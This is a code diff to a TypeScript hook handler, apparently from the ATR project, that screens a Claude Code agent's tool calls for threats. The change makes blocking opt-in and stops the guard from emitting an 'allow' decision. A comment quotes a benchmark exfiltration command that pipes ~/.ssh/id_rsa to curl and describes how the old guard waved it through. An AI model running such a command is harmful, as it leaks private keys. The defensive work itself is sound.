136
+ * so if a payload somehow carries both, the host's own field wins.
45
137
  */
46
- export declare function toClaudeCodePostToolUse(output: HookOutput): Record<string, unknown>;
138
+ export declare function hookEventOf(input: HookInput): string | undefined;
47
139
  export declare class HookHandler {
48
140
  private readonly engine;
49
141
  private readonly executor;
50
142
  private readonly timeoutMs;
51
143
  private readonly failOpen;
144
+ private readonly blocking;
52
145
  constructor(config: HookHandlerConfig);
146
+ /** Is this handler permitted to emit a blocking permission decision? */
147
+ isBlocking(): boolean;
53
148
  /**
54
149
  * Handle a PreToolUse hook event.
55
150
  * Converts input to an AgentEvent, evaluates, and returns a HookOutput.
@@ -1 +1 @@
1
- {"version":3,"file":"hook-handler.d.ts","sourceRoot":"","sources":["../src/hook-handler.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAGH,OAAO,KAAK,EAEV,SAAS,EACT,UAAU,EAEX,MAAM,YAAY,CAAC;AACpB,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAC7C,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAK3D,MAAM,WAAW,iBAAiB;IAChC,QAAQ,CAAC,MAAM,EAAE,SAAS,CAAC;IAC3B,QAAQ,CAAC,QAAQ,EAAE,cAAc,CAAC;IAClC,QAAQ,CAAC,SAAS,CAAC,EAAE,MAAM,CAAC;IAC5B,QAAQ,CAAC,QAAQ,CAAC,EAAE,OAAO,CAAC;CAC7B;AA+CD;;;;;;;;;;;;;GAaG;AACH,wBAAgB,sBAAsB,CAAC,MAAM,EAAE,UAAU,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAUlF;AAED;;;;;;;GAOG;AACH,wBAAgB,uBAAuB,CAAC,MAAM,EAAE,UAAU,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAQnF;AA8BD,qBAAa,WAAW;IACtB,OAAO,CAAC,QAAQ,CAAC,MAAM,CAAY;IACnC,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAiB;IAC1C,OAAO,CAAC,QAAQ,CAAC,SAAS,CAAS;IACnC,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAU;gBAEvB,MAAM,EAAE,iBAAiB;IAOrC;;;OAGG;IACG,gBAAgB,CAAC,KAAK,EAAE,SAAS,GAAG,OAAO,CAAC,UAAU,CAAC;IAS7D;;;OAGG;IACG,iBAAiB,CAAC,KAAK,EAAE,SAAS,GAAG,OAAO,CAAC,UAAU,CAAC;IAS9D;;;;;;;OAOG;IACG,cAAc,CAAC,MAAM,GAAE,aAAa,GAAG,SAAyB,GAAG,OAAO,CAAC,IAAI,CAAC;IAoCtF;;OAEG;YACW,QAAQ;IAWtB;;OAEG;YACW,kBAAkB;IAoBhC;;OAEG;IACH,OAAO,CAAC,WAAW;CAapB"}
1
+ {"version":3,"file":"hook-handler.d.ts","sourceRoot":"","sources":["../src/hook-handler.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AAGH,OAAO,KAAK,EAEV,SAAS,EACT,UAAU,EAEX,MAAM,YAAY,CAAC;AACpB,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAC7C,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAM3D,oDAAoD;AACpD,MAAM,WAAW,mBAAmB;IAClC;;;;;OAKG;IACH,QAAQ,CAAC,QAAQ,CAAC,EAAE,OAAO,CAAC;CAC7B;AAED,MAAM,WAAW,iBAAiB;IAChC,QAAQ,CAAC,MAAM,EAAE,SAAS,CAAC;IAC3B,QAAQ,CAAC,QAAQ,EAAE,cAAc,CAAC;IAClC,QAAQ,CAAC,SAAS,CAAC,EAAE,MAAM,CAAC;IAC5B,QAAQ,CAAC,QAAQ,CAAC,EAAE,OAAO,CAAC;IAC5B;;;;;;;;;OASG;IACH,QAAQ,CAAC,QAAQ,CAAC,EAAE,OAAO,CAAC;CAC7B;AAqDD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8CG;AACH,wBAAgB,sBAAsB,CACpC,MAAM,EAAE,UAAU,EAClB,OAAO,GAAE,mBAAwB,GAChC,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CA2BzB;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,uBAAuB,CACrC,MAAM,EAAE,UAAU,EAClB,OAAO,GAAE,mBAAwB,GAChC,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAWzB;AA8BD;;;;;;;;;;;GAWG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,GAAG,SAAS,CAEhE;AAED,qBAAa,WAAW;IACtB,OAAO,CAAC,QAAQ,CAAC,MAAM,CAAY;IACnC,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAiB;IAC1C,OAAO,CAAC,QAAQ,CAAC,SAAS,CAAS;IACnC,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAU;IACnC,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAU;gBAEvB,MAAM,EAAE,iBAAiB;IAQrC,wEAAwE;IACxE,UAAU,IAAI,OAAO;IAIrB;;;OAGG;IACG,gBAAgB,CAAC,KAAK,EAAE,SAAS,GAAG,OAAO,CAAC,UAAU,CAAC;IAS7D;;;OAGG;IACG,iBAAiB,CAAC,KAAK,EAAE,SAAS,GAAG,OAAO,CAAC,UAAU,CAAC;IAS9D;;;;;;;OAOG;IACG,cAAc,CAAC,MAAM,GAAE,aAAa,GAAG,SAAyB,GAAG,OAAO,CAAC,IAAI,CAAC;IAwCtF;;OAEG;YACW,QAAQ;IAWtB;;OAEG;YACW,kBAAkB;IAoBhC;;OAEG;IACH,OAAO,CAAC,WAAW;CAapB"}
@@ -7,11 +7,27 @@
7
7
  * Supports a stdio JSON-lines loop for use as a Claude Code hook process.
8
8
  *
9
9
  * CRITICAL: Fail-open on all errors -- default to "allow" so a
10
- * bug in the guard never blocks legitimate agent operations.
10
+ * bug in the guard never blocks legitimate agent operations. `failOpen: false`
11
+ * flips the internal verdict to deny, but note that a deny only reaches the host
12
+ * when blocking is enabled (below); in advisory mode a fail-closed guard error
13
+ * is still reported without a permissionDecision, because advisory mode's
14
+ * contract is "ATR never votes on permission".
15
+ *
16
+ * BLOCKING IS OPT-IN. By default this handler emits detection facts and no
17
+ * permission decision at all: the PreToolUse payload omits
18
+ * hookSpecificOutput.permissionDecision and the PostToolUse payload omits
19
+ * `decision: 'block'`, so Claude Code applies exactly the flow it would use with
20
+ * no hook installed. Turning blocking on restores the historical severity +
21
+ * confidence matrix for deny and ask.
22
+ *
23
+ * It does NOT restore `permissionDecision: "allow"`, which no longer exists on
24
+ * any path: ATR emits a permission decision only to restrain an operation,
25
+ * never to approve one. See src/enforcement.ts.
11
26
  *
12
27
  * @module agent-threat-rules/hook-handler
13
28
  */
14
29
  import { createInterface } from 'node:readline';
30
+ import { blockingFromConfig } from './enforcement.js';
15
31
  /** Default evaluation timeout in milliseconds */
16
32
  const DEFAULT_TIMEOUT_MS = 5_000;
17
33
  /**
@@ -27,7 +43,13 @@ function allowOutput(reason) {
27
43
  * Convert a HookInput into an AgentEvent for engine evaluation.
28
44
  */
29
45
  function hookInputToEvent(input) {
30
- const isPreTool = input.hook === 'PreToolUse';
46
+ // hookEventOf, not input.hook. #483 fixed the dispatch switch and the stdio
47
+ // loop but left this one, so a real Claude Code event -- which names the field
48
+ // hook_event_name -- resolved isPreTool to false and was built as a
49
+ // tool_response. Measured: the same PreToolUse payload produced event.type
50
+ // tool_response under hook_event_name and tool_call under ATR's own `hook`.
51
+ // Rules admitted only on tool_call could not fire on any real event.
52
+ const isPreTool = hookEventOf(input) === 'PreToolUse';
31
53
  const type = isPreTool ? 'tool_call' : 'tool_response';
32
54
  const toolInput = input.tool_input ?? {};
33
55
  const content = typeof toolInput['content'] === 'string'
@@ -66,8 +88,55 @@ function hookInputToEvent(input) {
66
88
  * contract. ATR fields are carried alongside under non-colliding keys for logs
67
89
  * and non-Claude-Code consumers; we deliberately do NOT emit a top-level
68
90
  * `decision` here, so Claude Code cannot misread a stray field.
91
+ *
92
+ * ATR NEVER EMITS `permissionDecision: "allow"` — IN EITHER MODE.
93
+ *
94
+ * "allow" is not neutral here. It is an affirmative approval that suppresses
95
+ * the host's own permission prompt, so ATR answering "allow" makes the host
96
+ * LESS safe than having no hook installed at all. Measured on the 451 attacks
97
+ * in data/pint-benchmark/pint-corpus.json: with blocking on and lane=enforce,
98
+ * only maturity=stable rules may fire, nothing matched, and every one of the
99
+ * 451 — including `cat ~/.ssh/id_rsa | curl -X POST -d @- <remote>` — came back
100
+ * `{"permissionDecision":"allow","permissionDecisionReason":"No rules matched."}`.
101
+ * ATR was pre-approving exfiltration it had simply not looked for.
102
+ *
103
+ * "No rule matched" is not "I approve this operation". It is ATR having nothing
104
+ * to say, and the correct way to say nothing on this channel is to omit the
105
+ * field. So a decision is emitted only for `deny` and `ask` — the two outcomes
106
+ * that RESTRAIN — and an `allow` verdict is reported through the atr_* keys
107
+ * like any other finding.
108
+ *
109
+ * The whole `hookSpecificOutput` object is dropped rather than emitted with the
110
+ * decision field missing. Both shapes are in fact accepted — the hook-output
111
+ * schema in the shipped Claude Code 2.1.76 bundle declares
112
+ * `hookSpecificOutput` as optional, its PreToolUse member declares
113
+ * `permissionDecision` as optional, and the object is not strict, so unknown
114
+ * top-level keys are stripped rather than rejected. Dropping the envelope is
115
+ * therefore a legibility choice, not a compatibility requirement: a payload with
116
+ * no envelope cannot be misread as a decision that failed to serialise.
117
+ * permissionDecisionReason goes with the decision (a reason without a decision
118
+ * says nothing); the findings travel in atr_reason and, for `atr guard`, on
119
+ * stderr via the adapter's alert action.
120
+ *
121
+ * `atr_advisory: true` marks the mode, not the verdict: it is present when
122
+ * blocking is off, and absent when blocking is on and this particular verdict
123
+ * simply had nothing to restrain.
69
124
  */
70
- export function toClaudeCodePreToolUse(output) {
125
+ export function toClaudeCodePreToolUse(output, options = {}) {
126
+ const blocking = options.blocking ?? false;
127
+ // ATR speaks on this channel only to RESTRAIN. `deny` and `ask` are the two
128
+ // decisions that hold an operation back; `allow` is the one that pushes it
129
+ // through, and ATR has no business emitting it — see the note above.
130
+ const restrains = output.decision === 'deny' || output.decision === 'ask';
131
+ if (!blocking || !restrains) {
132
+ return {
133
+ ...(blocking ? {} : { atr_advisory: true }),
134
+ atr_hook_event: 'PreToolUse',
135
+ atr_decision: output.decision,
136
+ atr_reason: output.reason ?? output.message ?? '',
137
+ ...(output.matched_rules ? { matched_rules: output.matched_rules } : {}),
138
+ };
139
+ }
71
140
  return {
72
141
  hookSpecificOutput: {
73
142
  hookEventName: 'PreToolUse',
@@ -85,12 +154,25 @@ export function toClaudeCodePreToolUse(output) {
85
154
  * tool output). A deny OR ask verdict blocks; allow passes. The generic ATR
86
155
  * decision is preserved under atr_decision to avoid colliding with Claude
87
156
  * Code's 'block' sentinel on the shared `decision` key.
157
+ *
158
+ * NO AFFIRMATIVE-APPROVAL PATH EXISTS HERE, and that was checked rather than
159
+ * assumed when the PreToolUse `allow` was removed. This contract has exactly
160
+ * one sentinel, `decision: 'block'`; the absence of the key IS the pass-through.
161
+ * There is no value this function could set that would suppress a host
162
+ * behaviour, so the only rule to keep is the one already in force: set the
163
+ * sentinel for deny/ask when blocking is on, and never otherwise.
164
+ *
165
+ * ADVISORY MODE (the default): the sentinel is never set, and the findings
166
+ * still travel in atr_decision / atr_reason / matched_rules.
88
167
  */
89
- export function toClaudeCodePostToolUse(output) {
90
- const block = output.decision === 'deny' || output.decision === 'ask';
168
+ export function toClaudeCodePostToolUse(output, options = {}) {
169
+ const blocking = options.blocking ?? false;
170
+ const block = blocking && (output.decision === 'deny' || output.decision === 'ask');
91
171
  return {
92
172
  hookSpecificOutput: { hookEventName: 'PostToolUse' },
173
+ ...(blocking ? {} : { atr_advisory: true }),
93
174
  atr_decision: output.decision,
175
+ ...(blocking ? {} : { atr_reason: output.reason ?? output.message ?? '' }),
94
176
  ...(output.matched_rules ? { matched_rules: output.matched_rules } : {}),
95
177
  ...(block ? { decision: 'block', reason: output.reason ?? output.message ?? '' } : {}),
96
178
  };
@@ -115,16 +197,37 @@ function withTimeout(promise, ms) {
115
197
  promise.then((value) => { clearTimeout(timer); resolve(value); }, (err) => { clearTimeout(timer); reject(err); });
116
198
  });
117
199
  }
200
+ /**
201
+ * The event name, under either spelling.
202
+ *
203
+ * Claude Code sends `hook_event_name` (verified against the shipped 2.1.76
204
+ * bundle). ATR's own fixtures, its docs and every integration test use `hook`.
205
+ * Reading only `hook` meant a real Claude Code event dispatched to the default
206
+ * branch and returned "Unknown hook type: undefined" without evaluating a
207
+ * single rule -- the hook was installed, printed its banner, and did nothing.
208
+ *
209
+ * Preferring `hook_event_name` matters: it is the one the host actually sends,
210
+ * so if a payload somehow carries both, the host's own field wins.
211
+ */
212
+ export function hookEventOf(input) {
213
+ return input.hook_event_name ?? input.hook;
214
+ }
118
215
  export class HookHandler {
119
216
  engine;
120
217
  executor;
121
218
  timeoutMs;
122
219
  failOpen;
220
+ blocking;
123
221
  constructor(config) {
124
222
  this.engine = config.engine;
125
223
  this.executor = config.executor;
126
224
  this.timeoutMs = config.timeoutMs ?? DEFAULT_TIMEOUT_MS;
127
225
  this.failOpen = config.failOpen ?? true;
226
+ this.blocking = blockingFromConfig(config.blocking);
227
+ }
228
+ /** Is this handler permitted to emit a blocking permission decision? */
229
+ isBlocking() {
230
+ return this.blocking;
128
231
  }
129
232
  /**
130
233
  * Handle a PreToolUse hook event.
@@ -170,12 +273,15 @@ export class HookHandler {
170
273
  if (!trimmed)
171
274
  continue;
172
275
  let output;
173
- // Default to PreToolUse framing: on an unparseable line the error path
174
- // fail-closes to a deny, and a deny must reach Claude Code as a real block.
276
+ // Default to PreToolUse framing: an unparseable line has no hook type, and
277
+ // PreToolUse is the only framing that can still influence the host before
278
+ // the tool runs. (The error path itself fail-OPENS to allow unless
279
+ // failOpen: false — see handleError; the header comment on this module is
280
+ // the accurate one.)
175
281
  let hookType = 'PreToolUse';
176
282
  try {
177
283
  const input = JSON.parse(trimmed);
178
- if (input.hook === 'PostToolUse')
284
+ if (hookEventOf(input) === 'PostToolUse')
179
285
  hookType = 'PostToolUse';
180
286
  output = await this.dispatch(input);
181
287
  }
@@ -184,11 +290,12 @@ export class HookHandler {
184
290
  }
185
291
  // Emit the host's exact hook contract. Generic { decision } is silently
186
292
  // ignored by Claude Code (fake protection) — see toClaudeCodePreToolUse.
293
+ const contractOptions = { blocking: this.blocking };
187
294
  const payload = format === 'generic'
188
295
  ? output
189
296
  : hookType === 'PostToolUse'
190
- ? toClaudeCodePostToolUse(output)
191
- : toClaudeCodePreToolUse(output);
297
+ ? toClaudeCodePostToolUse(output, contractOptions)
298
+ : toClaudeCodePreToolUse(output, contractOptions);
192
299
  process.stdout.write(JSON.stringify(payload) + '\n');
193
300
  }
194
301
  }
@@ -196,13 +303,13 @@ export class HookHandler {
196
303
  * Dispatch a HookInput to the appropriate handler.
197
304
  */
198
305
  async dispatch(input) {
199
- switch (input.hook) {
306
+ switch (hookEventOf(input)) {
200
307
  case 'PreToolUse':
201
308
  return this.handlePreToolUse(input);
202
309
  case 'PostToolUse':
203
310
  return this.handlePostToolUse(input);
204
311
  default:
205
- return allowOutput(`Unknown hook type: ${String(input.hook)}`);
312
+ return allowOutput(`Unknown hook type: ${String(hookEventOf(input))}`);
206
313
  }
207
314
  }
208
315
  /**
@@ -1 +1 @@
1
- {"version":3,"file":"hook-handler.js","sourceRoot":"","sources":["../src/hook-handler.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"hook-handler.js","sourceRoot":"","sources":["../src/hook-handler.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;GA2BG;AAEH,OAAO,EAAE,eAAe,EAAE,MAAM,eAAe,CAAC;AAShD,OAAO,EAAE,kBAAkB,EAAE,MAAM,kBAAkB,CAAC;AAEtD,iDAAiD;AACjD,MAAM,kBAAkB,GAAG,KAAK,CAAC;AA+BjC;;GAEG;AACH,SAAS,WAAW,CAAC,MAAe;IAClC,OAAO,MAAM,CAAC,MAAM,CAAC;QACnB,QAAQ,EAAE,OAAyB;QACnC,MAAM,EAAE,MAAM,IAAI,qBAAqB;KACxC,CAAC,CAAC;AACL,CAAC;AAED;;GAEG;AACH,SAAS,gBAAgB,CAAC,KAAgB;IACxC,4EAA4E;IAC5E,+EAA+E;IAC/E,oEAAoE;IACpE,2EAA2E;IAC3E,4EAA4E;IAC5E,qEAAqE;IACrE,MAAM,SAAS,GAAG,WAAW,CAAC,KAAK,CAAC,KAAK,YAAY,CAAC;IACtD,MAAM,IAAI,GAAG,SAAS,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,eAAe,CAAC;IAEvD,MAAM,SAAS,GAAG,KAAK,CAAC,UAAU,IAAI,EAAE,CAAC;IACzC,MAAM,OAAO,GAAG,OAAO,SAAS,CAAC,SAAS,CAAC,KAAK,QAAQ;QACtD,CAAC,CAAC,SAAS,CAAC,SAAS,CAAC;QACtB,CAAC,CAAC,IAAI,CAAC,SAAS,CAAC,SAAS,CAAC,CAAC;IAE9B,MAAM,MAAM,GAA2B;QACrC,SAAS,EAAE,KAAK,CAAC,SAAS,IAAI,EAAE;QAChC,SAAS,EAAE,IAAI,CAAC,SAAS,CAAC,SAAS,CAAC;QACpC,OAAO;KACR,CAAC;IAEF,sDAAsD;IACtD,IAAI,CAAC,SAAS,EAAE,CAAC;QACf,MAAM,MAAM,GAAG,SAAS,CAAC,QAAQ,CAAC,IAAI,SAAS,CAAC,UAAU,CAAC,CAAC;QAC5D,IAAI,OAAO,MAAM,KAAK,QAAQ,EAAE,CAAC;YAC/B,MAAM,CAAC,eAAe,CAAC,GAAG,MAAM,CAAC;QACnC,CAAC;IACH,CAAC;IAED,OAAO,MAAM,CAAC,MAAM,CAAC;QACnB,IAAI;QACJ,SAAS,EAAE,KAAK,CAAC,SAAS,IAAI,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;QACtD,OAAO;QACP,MAAM,EAAE,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC;QAC7B,SAAS,EAAE,KAAK,CAAC,UAAU;KAC5B,CAAC,CAAC;AACL,CAAC;AAED;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8CG;AACH,MAAM,UAAU,sBAAsB,CACpC,MAAkB,EAClB,UAA+B,EAAE;IAEjC,MAAM,QAAQ,GAAG,OAAO,CAAC